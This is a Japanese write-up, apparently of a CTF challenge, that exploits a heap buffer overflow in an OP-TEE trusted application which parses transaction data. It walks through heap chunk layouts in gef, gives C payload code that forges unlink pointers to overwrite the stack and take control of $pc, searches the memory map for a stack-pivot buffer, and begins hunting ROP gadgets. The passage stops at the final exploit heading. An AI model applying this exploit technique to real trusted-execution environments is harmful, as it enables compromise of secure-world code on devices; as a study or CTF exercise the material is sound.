used 0x00146770: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x00146798: prevfree:0x00000000 bsize:0x00001970 flink:0x001466b8 blink:0x00140470
used 0x00148108: prevfree:0x00001970 bsize:0xfffffef8(0x00000108) ★3. 解放済みの大きな領域であるここを再利用した
used 0x00148210: prevfree:0x00000000 bsize:0xfffffff0(0x00000010) ★4. BOFが発生すれば,ここが書き換わる
used 0x00148220: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x00148248: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x00148270: prevfree:0x00000000 bsize:0xfffffed8(0x00000128)
used 0x00148398: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x001483c0: prevfree:0x00000000 bsize:0xffffffa0(0x00000060)
used 0x00148420: prevfree:0x00000000 bsize:0xffffffe8(0x00000018)
used 0x00148438: prevfree:0x00000000 bsize:0xffffffe8(0x00000018)
used 0x00148450: prevfree:0x00000000 bsize:0xfffffff0(0x00000010)
free 0x00148460: prevfree:0x00000000 bsize:0x80000000 flink:0x00000000 blink:0x00000000
r0 0x1481d6 0x1481d6
gef>
```
尚,多少のランダム要素がどこにあるのかわからないが,チャンクの確保状況は毎回少しずつ変わる.
OSを再起動せずに`/exploit`をもう一度叩くと,少しだけ状況が変わるのが分かる.
```bash=
...
--------------------------------------------------- pool[0] @ 0x156470 - 0x15e468 ---------------------------------------------------
free 0x00156470: prevfree:0x00000000 bsize:0x000000a8 flink:0x0015e320 blink:0x00156408
used 0x00156518: prevfree:0x000000a8 bsize:0xffffff78(0x00000088)
free 0x001565a0: prevfree:0x00000000 bsize:0x00000190 flink:0x00158c18 blink:0x00156758
used 0x00156730: prevfree:0x00000190 bsize:0xffffffd8(0x00000028)
free 0x00156758: prevfree:0x00000000 bsize:0x00000200 flink:0x001565a0 blink:0x00158ae8
used 0x00156958: prevfree:0x00000200 bsize:0xffffffd8(0x00000028)
used 0x00156980: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x001569a8: prevfree:0x00000000 bsize:0x00000090 flink:0x00158ae8 blink:0x00156a88
used 0x00156a38: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x00156a60: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x00156a88: prevfree:0x00000000 bsize:0x00000090 flink:0x001569a8 blink:0x00156b68
used 0x00156b18: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x00156b40: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x00156b68: prevfree:0x00000000 bsize:0x00000090 flink:0x00156a88 blink:0x00156c48
used 0x00156bf8: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x00156c20: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x00156c48: prevfree:0x00000000 bsize:0x00000090 flink:0x00156b68 blink:0x00156d28
used 0x00156cd8: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x00156d00: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x00156d28: prevfree:0x00000000 bsize:0x00000090 flink:0x00156c48 blink:0x00156e08
used 0x00156db8: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x00156de0: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x00156e08: prevfree:0x00000000 bsize:0x00000090 flink:0x00156d28 blink:0x00156ee8
used 0x00156e98: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x00156ec0: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x00156ee8: prevfree:0x00000000 bsize:0x00001a78 flink:0x00156e08 blink:0x00158c88
used 0x00158960: prevfree:0x00001a78 bsize:0xfffffff0(0x00000010)
used 0x00158970: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x00158998: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x001589c0: prevfree:0x00000000 bsize:0xfffffed8(0x00000128)
free 0x00158ae8: prevfree:0x00000000 bsize:0x00000028 flink:0x00156758 blink:0x001569a8
used 0x00158b10: prevfree:0x00000028 bsize:0xfffffef8(0x00000108)
free 0x00158c18: prevfree:0x00000000 bsize:0x00000028 flink:0x00156408 blink:0x001565a0
used 0x00158c40: prevfree:0x00000028 bsize:0xffffffd8(0x00000028)
used 0x00158c68: prevfree:0x00000000 bsize:0xffffffe0(0x00000020)
free 0x00158c88: prevfree:0x00000000 bsize:0x00000028 flink:0x00156ee8 blink:0x0015beb0
used 0x00158cb0: prevfree:0x00000028 bsize:0xffffffc0(0x00000040)
used 0x00158cf0: prevfree:0x00000000 bsize:0xffffffe8(0x00000018)
used 0x00158d08: prevfree:0x00000000 bsize:0xffffce88(0x00003178)
used 0x0015be80: prevfree:0x00000000 bsize:0xffffffd0(0x00000030)
free 0x0015beb0: prevfree:0x00000000 bsize:0x00000028 flink:0x00158c88 blink:0x0015bf20
used 0x0015bed8: prevfree:0x00000028 bsize:0xffffffb8(0x00000048)
free 0x0015bf20: prevfree:0x00000000 bsize:0x00000028 flink:0x0015beb0 blink:0x0015bfd8
used 0x0015bf48: prevfree:0x00000028 bsize:0xffffffb8(0x00000048)
used 0x0015bf90: prevfree:0x00000000 bsize:0xffffffb8(0x00000048)
free 0x0015bfd8: prevfree:0x00000000 bsize:0x00000100 flink:0x0015bf20 blink:0x0015c128
used 0x0015c0d8: prevfree:0x00000100 bsize:0xffffffd8(0x00000028)
used 0x0015c100: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x0015c128: prevfree:0x00000000 bsize:0x00000090 flink:0x0015bfd8 blink:0x0015c208
used 0x0015c1b8: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x0015c1e0: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x0015c208: prevfree:0x00000000 bsize:0x00000090 flink:0x0015c128 blink:0x0015c2e8
used 0x0015c298: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x0015c2c0: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x0015c2e8: prevfree:0x00000000 bsize:0x00000090 flink:0x0015c208 blink:0x0015c3c8
used 0x0015c378: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x0015c3a0: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x0015c3c8: prevfree:0x00000000 bsize:0x00000090 flink:0x0015c2e8 blink:0x0015c4a8
used 0x0015c458: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x0015c480: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x0015c4a8: prevfree:0x00000000 bsize:0x00000090 flink:0x0015c3c8 blink:0x0015c588
used 0x0015c538: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x0015c560: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x0015c588: prevfree:0x00000000 bsize:0x00000090 flink:0x0015c4a8 blink:0x0015c668
used 0x0015c618: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x0015c640: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x0015c668: prevfree:0x00000000 bsize:0x000018f8 flink:0x0015c588 blink:0x0015e320
used 0x0015df60: prevfree:0x000018f8 bsize:0xfffffef8(0x00000108) ★ここでBOFが起きて
used 0x0015e068: prevfree:0x00000000 bsize:0xffffff88(0x00000078) ★ここが書き換わる
used 0x0015e0e0: prevfree:0x00000000 bsize:0xfffffff0(0x00000010)
used 0x0015e0f0: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x0015e118: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x0015e140: prevfree:0x00000000 bsize:0xfffffed8(0x00000128)
used 0x0015e268: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x0015e290: prevfree:0x00000000 bsize:0xffffffa0(0x00000060)
used 0x0015e2f0: prevfree:0x00000000 bsize:0xffffffd0(0x00000030)
free 0x0015e320: prevfree:0x00000000 bsize:0x00000028 flink:0x0015c668 blink:0x00156470
used 0x0015e348: prevfree:0x00000028 bsize:0xffffffd8(0x00000028)
used 0x0015e370: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x0015e398: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x0015e3c0: prevfree:0x00000000 bsize:0xffffffa0(0x00000060)
used 0x0015e420: prevfree:0x00000000 bsize:0xffffffe8(0x00000018)
used 0x0015e438: prevfree:0x00000000 bsize:0xffffffe8(0x00000018)
used 0x0015e450: prevfree:0x00000000 bsize:0xfffffff0(0x00000010)
free 0x0015e460: prevfree:0x00000000 bsize:0x80000000 flink:0x00000000 blink:0x00000000
gef> i r $r0
r0 0x15e02f 0x15e02f
```
## 良い感じのサイズを探す
さて,ここでの2つの例では,直下のチャンクサイズが0x10と0x78であった.
実は,直下のチャンクはどんなサイズでも良いわけではない.そのチャンクが解放され,その際併合が発生して計算される`bn`の位置が,コントロール可能なチャンクを指していなければならないからだ.
幾つか適当に計算してみたが,BOFされたチャンクのそこそこ上方を指すことになる(`prevfree`を足すことによる-1は省略).この結果が,コントロール可能なバッファを指していれば良い.
- 直下のチャンクサイズが0x10(=0xfffffff0)の場合
- `bn = b + (0xfffff000 - 0xfffffff0) = b + 0xfffff010 = b - 0xff0`
- 直下のチャンクサイズが0x18(=0xffffffe8)の場合
- `bn = b + (0xffffe800 - 0xffffffe8) = b + 0xffffe818 = b - 0x17e8`
- 直下のチャンクサイズが0x28(=0xffffffd8)の場合
- `bn = b + (0xffffd800 - 0xffffffd8) = b + 0xffffd828 = b - 0x27d8`
- 直下のチャンクサイズが0x48(=0xffffffb8)の場合
- `bn = b + (0xffffb800 - 0xffffffb8) = b + 0xffffb848 = b - 0x47b8`
- 直下のチャンクサイズが0x60(=0xffffffa0)の場合
- `bn = b + (0xffffa000 - 0xffffffa0) = b + 0xffffa060 = b - 0x5fa0`
- 直下のチャンクサイズが0x78(=0xffffff88)の場合
- `bn = b + (0xffff8800 - 0xffffff88) = b + 0xffff8878 = b - 0x7788`
どうやって見つけたのかは分からないが,最終的に,以下のようにするとちょうどよいらしい.
- `tx_in`の数を2つにする
- `tx_in[0]->scriptSig`の長さを0x1620にする
- `tx_in[1]->scriptSig`の長さは0x20のまま
- 使われないデータによるパディングは,パディング後のサイズが0x59f0になるようにする
- BOFを起こすため`tx_out[0]->lockScript`の長さを0x30にする
```c=
void create_tx_in(int size) {
write_pad('A', 0x20); // tx_hash
write32(0xfff); // index
write_var_int(size); // scriptSig_len
write_pad('a', size); // scriptSig
write32(0xeee); // sequence
}
void create_tx_out(int size) {
write64(0xfff); // value
write_var_int(size); // lockScript_len
write_pad('c', size); // lockScript
}
void create_payload() {
init_payload();
/* version */
write32(0);
/* tx_in */
write_var_int(2);
create_tx_in(0x1620);
create_tx_in(0x20);
/* tx_out */
write_var_int(1);
create_tx_out(0x30);
/* locktime */
write32(0xdeadbeef);
/* additional data (unused) */
write_pad('x', 0x59f0 - payload.pos);
printf("payload length:%x\n", payload.pos);
}
```
尚,初回実行時は何故か上手くいかず,OSを再起動しないまま2度目の実行をするとうまくいく.
```bash=
...
-------------------------------------------------------------------- pool[0] @ 0x1ae470 - 0x1b6468 --------------------------------------------------------------------
used 0x001ae470: prevfree:0x00000000 bsize:0xffffffe8(0x00000018)
used 0x001ae488: prevfree:0x00000000 bsize:0xffffa608(0x000059f8) ★3. bnはここの中身を参照しており、中身はコントロール可能
used 0x001b3e80: prevfree:0x00000000 bsize:0xffffffd0(0x00000030)
free 0x001b3eb0: prevfree:0x00000000 bsize:0x00000028 flink:0x001b44a8 blink:0x001b4ab0
used 0x001b3ed8: prevfree:0x00000028 bsize:0xffffffb8(0x00000048)
used 0x001b3f20: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x001b3f48: prevfree:0x00000000 bsize:0xffffffb8(0x00000048)
used 0x001b3f90: prevfree:0x00000000 bsize:0xffffffb8(0x00000048)
free 0x001b3fd8: prevfree:0x00000000 bsize:0x00000100 flink:0x001b4888 blink:0x001b4588
used 0x001b40d8: prevfree:0x00000100 bsize:0xffffffd8(0x00000028)
used 0x001b4100: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x001b4128: prevfree:0x00000000 bsize:0x00000020 flink:0x001b4c70 blink:0x001b4208
used 0x001b4148: prevfree:0x00000020 bsize:0xffffffd8(0x00000028)
free 0x001b4170: prevfree:0x00000000 bsize:0x00000048 flink:0x001b4588 blink:0x001b42e8
used 0x001b41b8: prevfree:0x00000048 bsize:0xffffffd8(0x00000028)
used 0x001b41e0: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x001b4208: prevfree:0x00000000 bsize:0x00000018 flink:0x001b4128 blink:0x001b43c8
used 0x001b4220: prevfree:0x00000018 bsize:0xffffffd8(0x00000028)
used 0x001b4248: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x001b4270: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x001b4298: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x001b42c0: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x001b42e8: prevfree:0x00000000 bsize:0x00000090 flink:0x001b4170 blink:0x001b4668
used 0x001b4378: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x001b43a0: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x001b43c8: prevfree:0x00000000 bsize:0x00000018 flink:0x001b4208 blink:0x001b4a78
used 0x001b43e0: prevfree:0x00000018 bsize:0xffffffd8(0x00000028)
used 0x001b4408: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x001b4430: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x001b4458: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x001b4480: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x001b44a8: prevfree:0x00000000 bsize:0x00000090 flink:0x001b4668 blink:0x001b3eb0
used 0x001b4538: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x001b4560: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x001b4588: prevfree:0x00000000 bsize:0x00000090 flink:0x001b3fd8 blink:0x001b4170
used 0x001b4618: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x001b4640: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x001b4668: prevfree:0x00000000 bsize:0x00000098 flink:0x001b42e8 blink:0x001b44a8
used 0x001b4700: prevfree:0x00000098 bsize:0xfffffff0(0x00000010)
used 0x001b4710: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x001b4738: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x001b4760: prevfree:0x00000000 bsize:0xfffffed8(0x00000128)
free 0x001b4888: prevfree:0x00000000 bsize:0x00000028 flink:0x001b5fa0 blink:0x001b3fd8
used 0x001b48b0: prevfree:0x00000028 bsize:0xfffffef8(0x00000108)
free 0x001b49b8: prevfree:0x00000000 bsize:0x00000028 flink:0x001ae408 blink:0x001b5d08
used 0x001b49e0: prevfree:0x00000028 bsize:0xffffffc8(0x00000038)
used 0x001b4a18: prevfree:0x00000000 bsize:0xffffffe0(0x00000020)
used 0x001b4a38: prevfree:0x00000000 bsize:0xffffffc0(0x00000040)
free 0x001b4a78: prevfree:0x00000000 bsize:0x00000010 flink:0x001b43c8 blink:0x001ae408
used 0x001b4a88: prevfree:0x00000010 bsize:0xffffffd8(0x00000028)
free 0x001b4ab0: prevfree:0x00000000 bsize:0x00000090 flink:0x001b3eb0 blink:0x001b4b90
used 0x001b4b40: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x001b4b68: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x001b4b90: prevfree:0x00000000 bsize:0x00000090 flink:0x001b4ab0 blink:0x001b4c70
used 0x001b4c20: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x001b4c48: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x001b4c70: prevfree:0x00000000 bsize:0x00000f18 flink:0x001b4b90 blink:0x001b4128
used 0x001b5b88: prevfree:0x00000f18 bsize:0xfffffef8(0x00000108) ★1. ここがBOFして
used 0x001b5c90: prevfree:0x00000001 bsize:0xffffff88(0x00000078) ★2. ここのprevsizeが書き換えられる
free 0x001b5d08: prevfree:0x00000000 bsize:0x00000058 flink:0x001b49b8 blink:0x001b5de8
used 0x001b5d60: prevfree:0x00000058 bsize:0xffffff78(0x00000088)
free 0x001b5de8: prevfree:0x00000000 bsize:0x00000190 flink:0x001b5d08 blink:0x001b5fa0
used 0x001b5f78: prevfree:0x00000190 bsize:0xffffffd8(0x00000028)
free 0x001b5fa0: prevfree:0x00000000 bsize:0x00000100 flink:0x001b5de8 blink:0x001b4888
used 0x001b60a0: prevfree:0x00000100 bsize:0xffffffc0(0x00000040)
used 0x001b60e0: prevfree:0x00000000 bsize:0xfffffff0(0x00000010)
used 0x001b60f0: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x001b6118: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x001b6140: prevfree:0x00000000 bsize:0xfffffed8(0x00000128)
used 0x001b6268: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x001b6290: prevfree:0x00000000 bsize:0xffffffa0(0x00000060)
used 0x001b62f0: prevfree:0x00000000 bsize:0xffffffd0(0x00000030)
used 0x001b6320: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x001b6348: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x001b6370: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x001b6398: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x001b63c0: prevfree:0x00000000 bsize:0xffffffa0(0x00000060)
used 0x001b6420: prevfree:0x00000000 bsize:0xffffffe8(0x00000018)
used 0x001b6438: prevfree:0x00000000 bsize:0xffffffe8(0x00000018)
used 0x001b6450: prevfree:0x00000000 bsize:0xfffffff0(0x00000010)
free 0x001b6460: prevfree:0x00000000 bsize:0x80000000 flink:0x00000000 blink:0x00000000
r0 0x1b5c90 0x1b5c90
gef> x/32xw 0x1b5c90-0x7788
0x1ae508: 0x61616161 0x61616161 0x61616161 0x61616161
0x1ae518: 0x61616161 0x61616161 0x61616161 0x61616161
0x1ae528: 0x61616161 0x61616161 0x61616161 0x61616161
0x1ae538: 0x61616161 0x61616161 0x61616161 0x61616161
0x1ae548: 0x61616161 0x61616161 0x61616161 0x61616161
0x1ae558: 0x61616161 0x61616161 0x61616161 0x61616161
0x1ae568: 0x61616161 0x61616161 0x61616161 0x61616161
0x1ae578: 0x61616161 0x61616161 0x61616161 0x61616161
gef> p 0x1ae508-0x001ae488
$1 = 0x80
gef>
```
このパラメータはランダムに動作する割には再現性が高く,10回やれば5回くらいは成功する.
## `$pc`の奪取
後はコントロール可能な値に上手くunlink用のアドレスを仕込んでおけば良い.私は以下のようにした.
```c=
void create_payload() {
init_payload();
/* version */
write32(0);
/* tx_in */
write_var_int(2);
create_tx_in(0x1620);
create_tx_in(0x20);
/* tx_out */
write_var_int(1);
unsigned int mark = payload.pos + 0xf;
create_tx_out(0x30);
/* locktime */
write32(0xdeadbeef);
/* additional data (unused) */
write_pad('x', 0x59f0 - payload.pos);
printf("payload length:%x\n", payload.pos);
/* stack overwrite `*(bn.blink + 8) <- bn.flink` */
// 1: the target
//
// the end of raw_free(), r7(=old sp) and pc will be popped from stack 0x00115c50
// .text:000214FE 008 80 BD POP {R7,PC}
//
// then, r7 is used as new sp
// .text:0002171E 018 FF F7 D6 FE BL raw_free
// .text:00021722 018 F9 68 LDR R1, [R7,#0x18+exceptions] ; exceptions
// .text:00021724 018 06 4B LDR R3, =(malloc_ctx_ - 0x2172A) ; off_11904
// .text:00021726 018 7B 44 ADD R3, PC ; malloc_ctx_ ; malloc_ctx
// .text:00021728 018 18 46 MOV R0, R3 ; ctx
// .text:0002172A 018 FF F7 21 FD BL malloc_unlock ; ARM_TA3
// .text:0002172E 018 00 BF NOP
// .text:00021730 018 07 F1 10 07 ADD.W R7, R7, #0x10
// .text:00021734 018 BD 46 MOV SP, R7 <-- here
// .text:00021736 008 80 BD POP {R7,PC}
unsigned int stack_old_sp = 0x00115c50;
// 2: overwrite value
//
// 0x00115d48|+0x00f8(062): 0x1ad48eff
// 0x00115d4c|+0x00fc(063): 0xf3f9477e
// 0x00115d50|+0x0100(064): 0x9482a5ef
// 0x00115d54|+0x0104(065): 0x63636363 <-- here mark
// 0x00115d58|+0x0108(066): 0x63636363
// 0x00115d5c|+0x010c(067): 0x63636363
// 0x00115d60|+0x0110(068): 0x63636363
// 0x00115d64|+0x0114(069): 0x63636363
// 0x00115d68|+0x0118(070): 0x63636363
// 0x00115d6c|+0x011c(071): 0x63636363
// 0x00115d70|+0x0120(072): 0x63636363
// 0x00115d74|+0x0124(073): 0x63636363
// 0x00115d78|+0x0128(074): 0x63636363
// 0x00115d7c|+0x012c(075): 0xbeef6363
// 0x00115d80|+0x0130(076): 0x0001dead
unsigned int stack_forged_sp = 0x00115d54 - 0x10; // consider: ADD.W R7, R7, #0x10
(*(unsigned int*)&payload.buf[0x7b]) = 0x21; // bn.bsize
(*(unsigned int*)&payload.buf[0x7f]) = stack_forged_sp; // bn.flink
(*(unsigned int*)&payload.buf[0x83]) = stack_old_sp - 8; // bn.blink
(*(unsigned int*)&payload.buf[mark]) = 0xcafebabe;
(*(unsigned int*)&payload.buf[mark+4]) = 0xcafebabe;
}
```
上記のようにすると,`$pc`が奪取できる.
```bash=
gef>
0x00179736 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
--------------------------------------------------------------------------------------------------------------------------------------------------------- registers ----
$r0 : 0x182408 -> 0x00000000
$r1 : 0x115c48 -> 0x00115c48 -> [loop detected]
$r2 : 0xffff8899
$r3 : 0x182408 -> 0x00000000
$r4 : 0x182088 -> 0x0002a000
$r5 : 0x18a3d4 -> 0x00000001
$r6 : 0x0
$r7 : 0x115d54 -> 0xcafebabe
$r8 : 0x0
$r9 : 0x0
$r10 : 0x0
$r11 : 0x0
$r12 : 0x4587b3c9
$sp : 0x115d54 -> 0xcafebabe
$lr : 0x17972f -> 0x10f107bf
$pc : 0x179736 -> 0x8cfcbd80
$cpsr: 0x60000130 [negative ZERO CARRY overflow interrupt fast THUMB] [Mode=User(0b10000,PL0), Secure]
------------------------------------------------------------------------------------------------------------------------------------------------------------- stack ----
0x00115d54|+0x0000(000): 0xcafebabe <- $r7, $sp
0x00115d58|+0x0004(001): 0xcafebabe
0x00115d5c|+0x0008(002): 0x63636363
0x00115d60|+0x000c(003): 0x63636363
0x00115d64|+0x0010(004): 0x63636363
0x00115d68|+0x0014(005): 0x63636363
0x00115d6c|+0x0018(006): 0x63636363
0x00115d70|+0x001c(007): 0x63636363
---------------------------------------------------------------------------------------------------------------------------------------------------- code:arm:THUMB ----
0x17972f 00bf <NO_SYMBOL> nop
0x179731 07f11007 <NO_SYMBOL> add.w r7, r7, #16
0x179735 bd46 <NO_SYMBOL> mov sp, r7
-> 0x179737 80bd <NO_SYMBOL> pop {r7, pc}
----------------------------------------------------------------------------------------------------------------------------------------------------------- threads ----
[#0] Id 1, stopped 0x179736 in ?? (), reason: SINGLE STEP
[#1] Id 2, stopped 0xe1000b0 in ?? (), reason: SINGLE STEP
------------------------------------------------------------------------------------------------------------------------------------------------------------- trace ----
[#0] 0x179736 -> pop {r7, pc}
[#1] 0x17972e -> nop
------------------------------------------------------------------------------------------------------------------------------------------------------------------------
gef> telescope $sp 1000
```
## stack pivot先の探索
このままではスタックに仕込めるROPガジェットが少なすぎて,あまり大層なことはやれないかも知れない.そこで,コントロール可能なもっと大きな領域へのstack pivotを検討しよう.
`$pc`を奪った瞬間のメモリマップから,アドレスが固定でこちらのコントロール可能なバッファを探すと,以下が見つかる.
```
gef> vmm -S -q
[+] Redirect to pagewalk
----------------------------------------------------------------------------- $TTBR0_EL1_S -----------------------------------------------------------------------------
------------------------------------------------------------------------------ Memory map ------------------------------------------------------------------------------
Virtual address start-end Physical address start-end Total size Page size Count Flags
0000000000100000-0000000000101000 000000000e100000-000000000e101000 0x1000 0x1000 1 [PL0/--- PL1/R-X]
0000000000102000-0000000000104000 000000000e300000-000000000e302000 0x2000 0x1000 2 [PL0/RW- PL1/RW-]
0000000000104000-000000000010f000 000000000e302000-000000000e30d000 0xb000 0x1000 11 [PL0/R-X PL1/R-X]
000000000010f000-0000000000114000 000000000e30d000-000000000e312000 0x5000 0x1000 5 [PL0/RW- PL1/RW-]
0000000000114000-0000000000115000 000000000e312000-000000000e313000 0x1000 0x1000 1 [PL0/R-- PL1/R--]
0000000000115000-0000000000116000 000000000e34b000-000000000e34c000 0x1000 0x1000 1 [PL0/RW- PL1/RW-]
000000000016f000-0000000000199000 000000000e313000-000000000e33d000 0x2a000 0x1000 42 [PL0/R-X PL1/R-X]
0000000000199000-00000000001a7000 000000000e33d000-000000000e34b000 0xe000 0x1000 14 [PL0/RW- PL1/RW-]
0000000000200000-0000000000201000 0000000040b6a000-0000000040b6b000 0x1000 0x1000 1 [PL0/RW- PL1/RW- NS]★このあたりはNSフラグが付いてるので,ノーマルワールドからも触れるメモリ.
0000000000201000-0000000000202000 0000000040ba0000-0000000040ba1000 0x1000 0x1000 1 [PL0/RW- PL1/RW- NS]★TAとの通信用バッファと思われる.毎回アドレスは固定
0000000000202000-0000000000203000 0000000040b61000-0000000040b62000 0x1000 0x1000 1 [PL0/RW- PL1/RW- NS]
0000000000203000-0000000000204000 0000000040b63000-0000000040b64000 0x1000 0x1000 1 [PL0/RW- PL1/RW- NS]
0000000000204000-0000000000205000 0000000040b82000-0000000040b83000 0x1000 0x1000 1 [PL0/RW- PL1/RW- NS]
0000000000205000-0000000000206000 0000000040bb7000-0000000040bb8000 0x1000 0x1000 1 [PL0/RW- PL1/RW- NS]
0000000000206000-0000000000207000 0000000040b66000-0000000040b67000 0x1000 0x1000 1 [PL0/RW- PL1/RW- NS]
0000000000207000-0000000000208000 0000000040b7e000-0000000040b7f000 0x1000 0x1000 1 [PL0/RW- PL1/RW- NS]
0000000000208000-0000000000209000 0000000040ba1000-0000000040ba2000 0x1000 0x1000 1 [PL0/RW- PL1/RW- NS]
----------------------------------------------------------------------------- $TTBR1_EL1_S -----------------------------------------------------------------------------
------------------------------------------------------------------------------ Memory map ------------------------------------------------------------------------------
Virtual address start-end Physical address start-end Total size Page size Count Flags
0000000007e24000-0000000007eb2000 000000000e100000-000000000e18e000 0x8e000 0x1000 142 [PL0/--- PL1/R-X]
0000000007eb2000-0000000008024000 000000000e18e000-000000000e300000 0x172000 0x1000 370 [PL0/--- PL1/RW-]
0000000008100000-0000000008101000 000000004201e000-000000004201f000 0x1000 0x1000 1 [PL0/--- PL1/RW- NS]
000000000ab00000-000000000ac00000 0000000008000000-0000000008100000 0x100000 0x100000 1 [PL0/--- PL1/RW-]
000000000ac00000-000000000ad00000 0000000009000000-0000000009100000 0x100000 0x100000 1 [PL0/--- PL1/RW-]
000000000ad00000-000000000ae00000 000000000e000000-000000000e100000 0x100000 0x100000 1 [PL0/--- PL1/RW-]
000000000ae00000-000000000bb00000 000000000e300000-000000000f000000 0xd00000 0x100000 13 [PL0/--- PL1/RW-]
000000000bb00000-000000000bd00000 000000007fe00000-0000000080000000 0x200000 0x100000 2 [PL0/--- PL1/RW- NS]
000000000e100000-000000000e101000 000000000e100000-000000000e101000 0x1000 0x1000 1 [PL0/--- PL1/R-X]
gef> x/16xw 0x202e28
0x202e28: 0x00000000 0x41414102 0x41414141 0x41414141 ★我々がTAへ送ったペイロードが保存されている
0x202e38: 0x41414141 0x41414141 0x41414141 0x41414141
0x202e48: 0x41414141 0x000fff41 0x2016fd00 0x61616161
0x202e58: 0x61616161 0x61616161 0x61616161 0x61616161
gef>
gef> x/16xw 0x200e30
0x200e30: 0x00000001 0x41414102 0x41414141 0x41414141 ★ちなみにこちらはTAからの応答が保存されている
0x200e40: 0x41414141 0x41414141 0x41414141 0x41414141 ★ヒープBOFを起こした瞬間にはゼロクリアされていたが,$pcを奪ったときには書き込まれていた
0x200e50: 0x41414141 0x000fff41 0x30486b00 0x00210245
0x200e60: 0x6f323dc2 0xf51da419 0xfdb857a3 0x027ca60a
gef>
```
つまり,`stack_forged_sp`として設定すべきアドレスは,0x202e28の何処かをpivot先にすればよさそうだ.またシステムコールから取得した結果は,0x200e30の何処かに書き込んで,正常にリターンすれば良い.
## ROP構築
ROPガジェットは,ASLRの効いていない`ldelf`から探そう.`$pc`を奪取した瞬間はThumb2モードであるが,`ldelf`中のThumb2モードのROPガジェットは非常に少ないので,ARMモードにスイッチすることも選択肢に入れておこう.
```
gef> dump memory mem.bin 0x104000 0x10f000
gef> q
# ropper -a ARMTHUMB -f mem.bin
# ropper -a ARM -f mem.bin
```
尚,一部の命令はropperで検出できないため,IDAやobjdumpなどで`mem.bin`を開いて目で探した方が良いかもしれない.
またノーマルワールドへのリターンは,システムコール番号0(=`syscall_sys_return`)らしい.
```
int __fastcall utee_return(void *a1, void *a2, void *a3, void *a4)
{
void *v4; // r4
void *v5; // r5
return linux_eabi_syscall(0, a1, a2, a3, a4, v4, v5, 0);
}
```
## exploit
最終的に以下のようになった.
